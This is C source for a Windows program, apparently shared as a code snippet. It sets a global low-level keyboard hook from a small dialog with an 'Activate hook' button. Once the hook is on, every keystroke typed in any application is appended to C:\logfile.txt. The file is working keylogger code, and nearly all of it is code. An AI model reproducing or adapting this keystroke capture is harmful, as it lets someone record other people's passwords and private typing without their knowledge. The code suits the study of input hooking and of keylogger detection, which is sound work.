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| / This code should work on Windows 2000, XP, or NT4 SP3 and higher versions
#define _WIN32_WINNT 0x0400
#include <windows.h>
HHOOK hHook; // Handle from global hook
HINSTANCE hExe; // Handle from our exe
// Hook Management Function
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
// This Struct gets infos on typed key
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Find the letter of the typed key
char lettre=(char)hookstruct.vkCode;
// Bytes written counter for WriteFile()
DWORD Ecrits;
// Opening of a logfile. Creating it if it does not exists
HANDLE hFichier = CreateFile("C:\\logfile.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// If handle returned is valid then
if( hFichier != INVALID_HANDLE_VALUE)
{
// put the file pointer to the end
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// Write the letter typed in logfile
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// Close the file
CloseHandle(hFichier);
}
}
// Return messages to the system to allow others hooks.
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
//Dialogbox functions
BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
static HWND hBouton;//Button Handle
static int mystate;// State Flag from hook
switch( msg )
{
case WM_CLOSE: // When Click on closing [X]
// Closing the dialogbox
EndDialog( hDlg, TRUE );
return 1;
case WM_INITDIALOG: //Init of dialogbox
// Creating Activate / Disable button
hBouton = CreateWindow("BUTTON", "Activate hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
// Gets current exe HANDLE
hExe = GetModuleHandle(NULL);
// Put the state flag at 0 : hook unactivated
mystate=0;
// End of init
return 1;
case WM_COMMAND: // Click on the bouton
if( lParam == (long) hBouton)
{
if (!mystate) //If hook disabled then
{
// Activate hook
hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
//Then put the state flag at 1 (hook active)
mystate=1;
// Change button text
SetWindowText(hBouton,"Disable hook");
}
else // If hook already active
{
// Disable hook
UnhookWindowsHookEx(hHook);
// Put flagstate to 0 (disabled)
mystate=0;
// Change button text
SetWindowText(hBouton,"Activate hook");
}
break;
}
}
return 0;
}
//Main Function : Creating a dialogbox without resources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
// Mem alloc for our dialog template
LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
if (!lpdt) return 1;
// Settings of the dialogbox
lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
// Set pointer on the dialogbox name zone
LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
// Convert in UNICODE name and set it in name zone
MultiByteToWideChar (CP_ACP, 0, "Global Hook without dll by HaTcH", -1, lpnom, 128);
// Run the dialogbox
DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
// Free the allocated mem then quit
GlobalFree((HGLOBAL) lpdt);
return( FALSE );
} |
